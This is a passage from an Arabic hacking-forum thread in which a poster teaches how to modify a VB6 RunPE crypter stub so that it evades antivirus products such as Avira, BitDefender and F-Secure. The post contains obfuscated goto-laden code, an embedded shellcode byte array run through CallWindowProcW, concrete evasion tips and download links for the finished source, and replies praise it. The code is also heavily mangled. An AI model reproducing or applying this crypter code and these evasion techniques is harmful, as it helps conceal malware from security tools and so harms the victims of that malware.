    Call N3I5y(d5g0K.B1i): Call N3I5y(d5g0K.B2i)
    GoTo 
    sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM sZtyGvckljoLS
    :
    YwokwMcxluRMqsZtyG "ckljoSaDQPgkn"
    GoTo DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
    :
    DSLvdfAdhvraoNN "xJmFIbA"
    GoTo iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
    ROlHglitwLhirBwpIcvqfKTUS
    :
    JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu "HeqmDptTHF"
    GoTo VPifBYwokwMcxluRMsZtyGvckljoLS
    EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCB ZrDrpjByUEPURduvQRb
    :
    mgyiEoyEAMdszBK "dGIvOQM"
    GoTo gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
    QxjzDFxQzeOJySANZHGugHeqEmDptTH
    :
    d5g0K D3N8K(t4k6A)
    GoTo 
    zROlHglitwLhirBwpIcvqfKTUS
    DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
    :
    DSLvdfAdhvraoNN "xJmFIbA"
    GoTo EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCB ZrDrpjByUEPURduvQRb
    zROlHglitwLhirBwpIcvqfKTUS
    :
    Call N3I5y(&HB8i)
    GoTo 
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
    :
    s6F0Y CallWindowProcW(VarPtr(m8v8A(0)))
    End If
    End Function[/INFO
    [NOTE]6-سنغير function 4 ; function5[/NOTE]


    كود PHP:
    Private Sub N3I5y(ByVal X1p7M As ByteByRef iCounter As Long)
    GoTo 
    DRnpyHCgwOjCwmR:
    dUtIBlSVqS:
    BQYiFmPfLSltjOJKIN "szeEpF"
    GoTo lvQeQDfBzcJbMQqQcVol
    lvQeQDfBzcJbMQqQcVol
    :
    xkkLThIcHgxJxvpHE "KVYj"
    GoTo eCurCTiDrAZTwyfzE
    BkmGjnByhuTTvDPsLrP
    :
    m8v8A(iCounter) = X1p7M
    GoTo HhsmEoKuFLH
    kyGHRpkNOvBUdSytusx
    :
    GoTo 
    pwMonDtvnMp
    pwMonDtvnMp
    :
    TjnqiGVOygjDgkyuerQQ "AMpIoeDepjBlH"
    GoTo RAoJzqEOxxkkLThIcHg
    JxvpHEbKVcYjABQ
    :
    xkkLThIcHgxJxvpHE "KVYj"
    GoTo iFmPfLSltjOJKINzszeE
    FJMDdFlUQFaPG
    :
    MDdFlUQFaPGUfNNAnNk "LtKwAaLFYUrNmso"
    GoTo bZePIPuGGV
    eCurCTiDrAZTwyfzE
    :
    CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO "oJzqEO"
    GoTo CirrqvRZgKYQnqtlJZ
    CirrqvRZgKYQnqtlJZ
    :
    TjnqiGVOygjDgkyuerQQ "AMpIoeDepjBlH"
    GoTo BkmGjnByhuTTvDPsLrP
    iFmPfLSltjOJKINzszeE
    :
    BQYiFmPfLSltjOJKIN "szeEpF"
    GoTo FJMDdFlUQFaPG
    DRnpyHCgwOjCwmR
    :
    MDdFlUQFaPGUfNNAnNk "LtKwAaLFYUrNmso"
    GoTo dUtIBlSVqS
    HhsmEoKuFLH
    :
    iCounter iCounter 1
    GoTo kyGHRpkNOvBUdSytusx
    RAoJzqEOxxkkLThIcHg
    :
    CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO "oJzqEO"
    GoTo JxvpHEbKVcYjABQ
    bZePIPuGGV
    :
    End Sub
    Private Function D3N8K(ByVal S3t0P As Long) As V5k0U
    Dim d0u7C 
    As i4U2g
    GoTo wqIrNxIOKVnC:
    CtHRAAnnOQkLgKjAMB:
    ThUGiECfMePTuTfZr "LhFy"
    GoTo sKHfOZfbmDEaclI
    yuFQlGuEcQABiCHP
    :
    ThUGiECfMePTuTfZr "LhFy"
    GoTo luutyUcjNbaqtwoM
    zQrqGwzqPsYVDs
    :
    FQlGuEcQABiCHPFlu "tyUcj"
    GoTo CtHRAAnnOQkLgKjAMB
    ChHtIMPHgJoYTI
    :
    d0u7C.a8T7w S3t0P
    GoTo SJYiQQDqRo
    wqIrNxIOKVnC
    :
    baqtwoMcUEnpJmrEBkx "QyGTvOuSkK"
    GoTo zQrqGwzqPsYVDs
    SJYiQQDqRo
    :
    LSet D3N8K d0u7C
    GoTo OwNzDdROIbYvQpvDGUqsBLGjzRmF
    luutyUcjNbaqtwoM
    :
    FQlGuEcQABiCHPFlu "tyUcj"
    GoTo UEnpJmrEBkQQyGTvOuSkKlwqI
    PTuTfZroLh
    :
    pUeediSLSxKJadgYwL "oQZtVao"
    GoTo yuFQlGuEcQABiCHP
    OwNzDdROIbYvQpvDGUqsBLGjzRmF
    :
    GoTo 
    pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM
    sKHfOZfbmDEaclI
    :
    pUeediSLSxKJadgYwL "oQZtVao"
    GoTo SjPVpxmRNNMQC
    UEnpJmrEBkQQyGTvOuSkKlwqI
    :
    baqtwoMcUEnpJmrEBkx "QyGTvOuSkK"
    GoTo KUsnQSyFZgVBwxvAm
    SjPVpxmRNNMQC
    :
    oAOwNzDdROIbYvQpvrDG "qsBLGjzRmF"
    GoTo ChHtIMPHgJoYTI
    pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM
    :
    oAOwNzDdROIbYvQpvrDG "qsBLGjzRmF"
    GoTo PTuTfZroLh
    KUsnQSyFZgVBwxvAm
    :
    End Function
    لقد شرحت كيفية تغير string runpe بأكمله لأن سأقدم لك بعض نصائح لتفادي الحمايات
    1-لا تستخدموا سورس كود ينتجه برنامج عبابنة بل أصنعوه بأنفسكم
    2-لا تستعملوا hexstring 2byte الموجودة في برناج عبابنة لقد صارت مكشوفة
    3-لا تستعملوا برامج تشفير سورسات عدى kbc و أستخدمو خوارزمية sterrv فقط
    4-لا تكثروا موديلات و junk code فهي سبب كشفكم من أفيرا



    [INFO]لأن سأشرح كيفية تمويه بأستخدام أمر goto[/INFO]


    [NOTE]لاحظوا function 3 الجزأ ملون بالأحمر[/NOTE]


    كود PHP:
    Public Function s6F0Y(ByVal P5m8U As StringByVal w4d1d As LongParamArray vParams() As Variant) As Long
    Dim t0q4f 
    As Variant
    Dim d5g0K 
    As V5k0U
    Dim t4k6A 
    As Long
    Dim i 
    As Long
    Dim w 
    As Long
    If Not f7t4m Then
    For 0 To 170
    o1b4L
    (i) = CByte(Choose(1, &HE8, &H22, &H0, &H0,  &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50,  &HE8, &H43, &H0, &H0, &H0, &H83, &HC4,  &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0,  &HFF, &H74, &H24, &H8, &H50, &HE8, &H30,  &H0, &H0, &H0, &H83, &HC4, &H8, &HC3,  &H56, &H55, &H31, &HC0, &H64, &H8B, &H70,  &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C,  &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B,  &H36, &H38, &H47, &H18, &H75, &HF3, &H80,  &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B,  &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D,  &H5E, &HC3, &H55, &H52, &H51_
    &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C,  &H85, &HED, &H74, &H43, &H8B, &H45, &H3C,  &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B,  &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB,  &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1,  &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC,  &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD,  &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24,  &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1,  &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A,  &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1,  &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D,  &HC3))
    Next i
    GoTo wyHfaDFmsLTIokjoZgnDedtjm:
    IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq:
    PUFyFkxwMQSKkyrcJLgI "bmGTHtUrRzQChHSMfcy"
    GoTo MOYvdGVCIckaFAzEpipTugwzCuSw
    MfcyUtlhsJZuirOJnpV
    :
    f7t4m True
    GoTo vDsYhiglIOVAN
    dhjbAPHsacwZesoQkJ
    :
    pipTugwzCuSwbKGvPG "KUEDrdbnBjAmq"
    GoTo luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
    MOYvdGVCIckaFAzEpipTugwzCuSw
    :
    tlhsJZuirOJnpVpvDsYh "glIVANMdhjbA"
    GoTo KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
    yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
    :
    0
    GoTo MfcyUtlhsJZuirOJnpV
    wbKGvPGxKUEDrdEbnBj
    :
    PUFyFkxwMQSKkyrcJLgI "bmGTHtUrRzQChHSMfcy"
    GoTo mqQECwOLiDcieqt
    wyHfaDFmsLTIokjoZgnDedtjm
    :
    HsacwZesoQkJKluGiCh "YxYjdvelvBxJa"
    GoTo uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
    KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
    :
    HsacwZesoQkJKluGiCh "YxYjdvelvBxJa"
    GoTo CgKIqfzqhunnbbBKQzSyVoAolf
    vDsYhiglIOVAN
    :
    GoTo 
    dhjbAPHsacwZesoQkJ
    luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
    :
    ECwOLiDcieqtIefoytQ "EZsnHQ"
    GoTo IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq
    mqQECwOLiDcieqt
    :
    ECwOLiDcieqtIefoytQ "EZsnHQ"
    GoTo efoytQmEZsncHQRPU
    efoytQmEZsncHQRPU
    :
    pipTugwzCuSwbKGvPG "KUEDrdbnBjAmq"
    GoTo yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
    uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
    :
    tlhsJZuirOJnpVpvDsYh "glIVANMdhjbA"
    GoTo wbKGvPGxKUEDrdEbnBj
    CgKIqfzqhunnbbBKQzSyVoAolf
    :
    End If
    t4k6A CallWindowProcW(VarPtr(o1b4L(0)), StrPtr(P5m8U), w4d1d)
    If 
    t4k6A Then
    For UBound(vParamsTo LBound(vParamsStep -1
    GoTo mFlIbAbmgyiEoyEAM:
    mFlIbAbmgyiEoyEAM:
    DQPgkneDSLvdfAd "vraNNox"
    GoTo NLtiCtkxHrqe
    xluRMqsZtyvckljoLSaDQPgkne
    :
    Call N3I5y(d5g0K.B3i): Call N3I5y(d5g0K.B4i)
    GoTo 
    SLvdfAdhvraoNNox
    FNaCVBZrDrjByUEPURduvQR
    :
    ufMOjLQfpJQKxYutVC "GKkKVPifBY"
    GoTo zgJZFLfndIECHslsQxjzDFxQze
    MOjLQfpJQKxutVCTGKkKVPifBYwokwM
    :
    Call N3I5y(d5g0K.B1i): Call N3I5y(d5g0K.B2i)
    GoTo 
    xluRMqsZtyvckljoLSaDQPgkne
    THFzROlHglitwL
    :
    d5g0K D3N8K(CLng(vParams(w)))
    GoTo 
    irBwapIcvqfTUSYIBJnAzPTVNnCu
    mFlIbAbmgyiEoyEAMszBKidGIpv
    :
    OJySJANZHGugHeq "mDptTHFROlHgl"
    GoTo QMsnomrcjqGhhwmphFNLtiCtkxHrqe
    JySJANZHGugHeqEmDp
    :
    OJySJANZHGugHeq "mDptTHFROlHgl"
    GoTo THFzROlHglitwL
    ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
    :
    okwMcxluRMqsZtyGv "kloLS"
    GoTo THFzROlHglitwLirBwapIcvqf
    irBwapIcvqfTUSYIBJnAzPTVNnCu
    :
    Call N3I5y(&H68i)
    GoTo 
    MOjLQfpJQKxutVCTGKkKVPifBYwokwM
    SLvdfAdhvraoNNox
    :
    GoTo 
    mFlIbAbmgyiEoyEAMszBKidGIpv
    NLtiCtkxHrqe
    :
    okwMcxluRMqsZtyGv "kloLS"
    GoTo FNaCVBZrDrjByUEPURduvQR
    zgJZFLfndIECHslsQxjzDFxQze
    :
    twLhirBwapIcvqf "TUSYIBJnzPTVNn"
    GoTo JySJANZHGugHeqEmDp
    FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
    :
    ufMOjLQfpJQKxYutVC "GKkKVPifBY"
    GoTo ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
    THFzROlHglitwLirBwapIcvqf
    :
    DQPgkneDSLvdfAd "vraNNox"
    GoTo szBKidGIpvQMsnomrcjqGhhwmphF
    QMsnomrcjqGhhwmphFNLtiCtkxHrqe
    :
    twLhirBwapIcvqf "TUSYIBJnzPTVNn"
    GoTo FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
    szBKidGIpvQMsnomrcjqGhhwmphF
    :
    Next w
    GoTo ROlHglitwLhirBwpIcvqfKTUS:
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCt kxHrqeeFNaC:
    Call N3I5y(&HFFi): Call N3I5y(&HD0i)
    GoTo 
    BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
    ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
    :
    GoTo 
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM sZtyGvckljoLS
    zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
    :
    JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu "HeqmDptTHF"
    GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
    iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
    :
    YwokwMcxluRMqsZtyG "ckljoSaDQPgkn"
    GoTo QxjzDFxQzeOJySANZHGugHeqEmDptTH
    VPifBYwokwMcxluRMsZtyGvckljoLS
    :
    nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr "rpjByUEURduvQRbz"
    GoTo DQPgkneDSLdfAdhvraoNNoxJ
    DQPgkneDSLdfAdhvraoNNoxJ
    :
    mgyiEoyEAMdszBK "dGIvOQM"
    GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
    sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
    :
    Call N3I5y(d5g0K.B3i): Call N3I5y(d5g0K.B4i)
    GoTo 
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCt kxHrqeeFNaC
    gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
    :
    nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr "rpjByUEURduvQRbz"
    GoTo zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
    BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
    :
    Call N3I5y(&HC3i)
    GoTo 
    ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM 
    :
    Call N3I5y(d5g0K.B1i): Call N3I5y(d5g0K.B2i)
    GoTo 
    sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM sZtyGvckljoLS
    :
    YwokwMcxluRMqsZtyG "ckljoSaDQPgkn"
    GoTo DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
    :
    DSLvdfAdhvraoNN "xJmFIbA"
    GoTo iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
    ROlHglitwLhirBwpIcvqfKTUS
    :
    JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu "HeqmDptTHF"
    GoTo VPifBYwokwMcxluRMsZtyGvckljoLS
    EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCB ZrDrpjByUEPURduvQRb
    :
    mgyiEoyEAMdszBK "dGIvOQM"
    GoTo gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
    QxjzDFxQzeOJySANZHGugHeqEmDptTH
    :
    d5g0K D3N8K(t4k6A)
    GoTo 
    zROlHglitwLhirBwpIcvqfKTUS
    DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
    :
    DSLvdfAdhvraoNN "xJmFIbA"
    GoTo EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCB ZrDrpjByUEPURduvQRb
    zROlHglitwLhirBwpIcvqfKTUS
    :
    Call N3I5y(&HB8i)
    GoTo 
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
    :
    s6F0Y CallWindowProcW(VarPtr(m8v8A(0)))
    End If
    End Function[/INFO

    شرح أمر goto عند أستعمال أمر goto فأنت تطلب من برنامج ذهاب لنقطة أنت تحددها مثال
    goto badereddine-1 طلبنا منه ذهاب ألي عنوان badereddine
    2-لآن نحدد هذا العنوان "1 " badereddine: msgbox
    3-سأوضح المتغيرات التي يجب تغييره في صورة تالية

    [INFO]الأن سأشرح كيفية أدخال أمر goto لتغيير قيلي في بنية كود[/INFO]

    كود PHP:
    For 0 To 170
    goto badereddine
    goto devpoint
    devpoint
    :dim badddddddddddddddddddddddddder as byte
    dim devpoint 
    as long
    :badereddine
    o1b4L
    (i) = CByte(Choose(1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51_
    &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
    Next i
    التصاريح التي أضفتها هي لتمويه حمايات dim badddddddddddddddddddddddddder as byte
    dim devpoint as long


    هاهو سور س كود بعد بتنفيذ جميع ماذكرت الفوق ألي جانب روتوشات لا تعدوا أضافة فورمات لتغيير pe signateu
    r

    [DOWNLOAD]
    http://rghost.net/37277370

    OR

    http://www.mediafire.com/?29afk4ibxt3yyx0[/DOWNLOAD]


    أخيرا سأعطيكم منهجية دعس أفيرا
    avira لديه قيم عامة أي على جمع لغات البرمج لأنه يتعامل مع حالة نهائية للبرنامج فعندما تقوم أنت بتشفير حاول ألا تعمتد على موديلا بل على form و class لأن هل رأيت في حياتك برنامج يستخدمه ناس لا يحتوى على واجهة فلهذا يمسك أفيرا سيرفراتكم فأغلبكم يعمل 20 module لكن لو عمل 20 form لن يمسك أفيرا بالأضافة ألي api مستخدمة في runpe فهي تلعب دور كبير في تشفير

    لاحظوا قيمتي bitdfender ; f-secure أتعرفون لماذا يمسك runpe هاهو سبب

    كود PHP:
    Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As LongOptional ByVal lParam1 As LongOptional ByVal lParam2 As LongOptional ByVal lParam3 As LongOptional ByVal lParam4 As Long) As Long
    لتشفير منها و كما ذكرت في درس سابق أستعمل lord pe و تغيير نقطة أدخال

    جميع ماذكرته هو بصفة عامة يمكن تطبيقه على جميع أنواع runpe

    أرجو أن تستوعبوا درس فقد بسطه حتى أنني عملت كل أجراء و حده بعد أجتيازي للبكلوريا (بوابة دخول الجامعة) سأضع دروس لم يطرحه كثير من أعضاء

    أذا مازال هنالك بعض غموض فليقدم لي أي غضو runpe لم ينجح بتطبيق ماذكرته و بأذن الله سأعمل درس أشرحه فيه من جديد تعمدت عدم عمل شرح فيديو لأن أعضاء لم يفهموا من شرح سابق و في أيام قادمة سأطرح طرق جديدة لتمويه و تشفير

     
  2. Virus!Clown

    Virus!Clown Developer

    الأنتساب:
    ‏28 مارس 2012
    المشاركات:
    6
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    ☠ المــغربـــــ ☠
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    مشكوور حبيبي تشفير قااتل
     
  3. Mr-Ghost

    Mr-Ghost Developer

    الأنتساب:
    ‏8 ديسمبر 2011
    المشاركات:
    41
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    الوظيفة:
    hacker
    الإقامة:
    egypt
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    يـعُطيكَ العأفيهَ
    وجـأريَ التقييمَ
     
  4. T H E P U N I S H E R

    T H E P U N I S H E R .:: فريــق الدعم الفني ::. مساعد مشرف

    الأنتساب:
    ‏29 مارس 2012
    المشاركات:
    316
    الإعجابات المتلقاة:
    1,241
    نقاط الجائزة:
    93
    الإقامة:
    Egypt (●̪•)
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    الله يعطيك الف عافيه
    ويجزاك الجنه من اوسع ابوابها
     
  5. Mplus

    Mplus Developer

    الأنتساب:
    ‏29 مارس 2012
    المشاركات:
    9
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    c:\morocco
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    ابدعت في الطرح
    الشكر قليل في حقك
    واصل بداعك ولا تحرمنا من جديدك
    تقبل مروري
     
  6. ALi ALsaadi

    ALi ALsaadi Developer

    الأنتساب:
    ‏29 مارس 2012
    المشاركات:
    31
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    العراق
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    جزاك الله الف خير الغالى %:"​
     
  7. THe Code

    THe Code Developer

    الأنتساب:
    ‏31 مارس 2012
    المشاركات:
    33
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    PHP
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    شكرا لك اخي
     
  8. T.R.O.Y

    T.R.O.Y V • I • P

    الأنتساب:
    ‏3 ابريل 2012
    المشاركات:
    86
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    الإقامة:
    :: UAE ::
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    بارك الله فيك ابداع ماشاء الله تبارك الله ^^:"​
     
  9. Oxygen

    Oxygen Developer

    الأنتساب:
    ‏4 ابريل 2012
    المشاركات:
    49
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    مشكور حبيبي يا بطل ربي يوفقك ويسلمك حبيبي
    مواضيعك تستحق الاحترام
    %:"
     
  10. SmaT H4xor

    SmaT H4xor Developer

    الأنتساب:
    ‏2 ديسمبر 2011
    المشاركات:
    19
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    الإقامة:
    مصر
    رد: بتفصيل ممل تغيير جميع string runpe و الوصول ألي نتائج غير متوقعة

    السلام عليكم

    شرح جميل يعطيك العافية يارب
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة